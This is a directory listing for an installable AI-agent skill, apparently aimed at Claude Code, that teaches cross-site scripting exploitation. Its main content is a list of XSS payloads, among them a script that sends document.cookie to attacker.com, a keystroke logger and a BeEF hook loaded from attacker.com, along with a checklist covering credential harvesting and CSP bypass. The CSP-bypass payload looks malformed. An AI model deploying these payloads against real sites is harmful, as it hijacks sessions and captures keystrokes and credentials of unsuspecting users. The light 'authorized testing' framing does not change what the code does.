Use when exploiting XSS vulnerabilities.
Scanned 9/10/2026
Install to Claude Code
Skills Directorynpx -y skills add LoopyLuci/Skills --skill cross-site-scripting-exploitation --agent claude-codeInstalls into .claude/skills of the current project.
Are you the author of Cross Site Scripting Exploitation?
Add the live security badge to your README — it updates automatically with every re-scan.
[](https://www.skillsdirectory.com/skills/loopyluci-cross-site-scripting-exploitation)More formats (shields.io, HTML) on the badges page.
---
name: cross-site-scripting-exploitation
description: "Use when exploiting XSS vulnerabilities."
version: 1.0.0
author: Hermes Agent
license: MIT
metadata:
hermes:
tags: [XSS, cross-site-scripting, stored, reflected, DOM-based, CSP-bypass, cookie-steal]
related_skills: [sql-injection-exploitation, webapp-penetration-testing, web-shell-deployment, evasion-techniques-av-bypass]
---
# Cross-Site Scripting Exploitation
Exploiting XSS vulnerabilities — from reflected, stored, and DOM-based through CSP bypass, session hijacking, keylogging, and BeEF integration.
## When to Use
- Detecting and exploiting XSS vulnerabilities
- Bypassing CSP (Content Security Policy)
- Session hijacking via XSS
- XSS for phishing and credential harvesting (authorized testing)
## XSS Payloads
```python
XSS_TYPES = {
'reflected': "Payload in URL/parameter, reflected immediately in response",
'stored': "Payload stored on server (comments, profiles), served to all visitors",
'dom_based': "Payload executed via client-side JS (URL fragment, eval, innerHTML)",
}
XSS_PAYLOADS = {
'basic_alert': "<script>alert(1)</script>",
'img_onerror': "<img src=x onerror=alert(1)>",
'svg_onload': "<svg/onload=alert(1)>",
'body_onload': "<body onload=alert(1)>",
'iframe': "<iframe onload=alert(1)>",
'csp_bypass': "<script src='https://cdn.example.com/angular.js' onload=angular.module('x').run()></script>",
'cookie_steal': "<script>fetch('https://attacker.com/c?'+document.cookie)</script>",
'keylogger': "<script>document.onkeypress=e=>fetch('/log?k='+e.key)</script>",
}
# BeEF hook URL
BEEF_HOOK = "<script src='https://attacker.com/hook.js'></script>"
```
## Verification Checklist
- [ ] XSS type identified (reflected, stored, DOM-based)
- [ ] Context determined (HTML, attribute, JS, CSS, URL)
- [ ] Basic payload confirmed (<script>alert(1)</script>)
- [ ] WAF/CSP bypass attempted
- [ ] Impact demonstrated (cookie stealing, page defacement, keylogging)
- [ ] BeEF hook deployed for browser exploitation (if scoped)
- [ ] Credential harvesting PoC (authorized targets only)
- [ ] Self-XSS distinguished from actual vulnerability
- [ ] Remediation guidance provided (output encoding, CSP, input validation)
Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.
No comments yet. Be the first to comment!
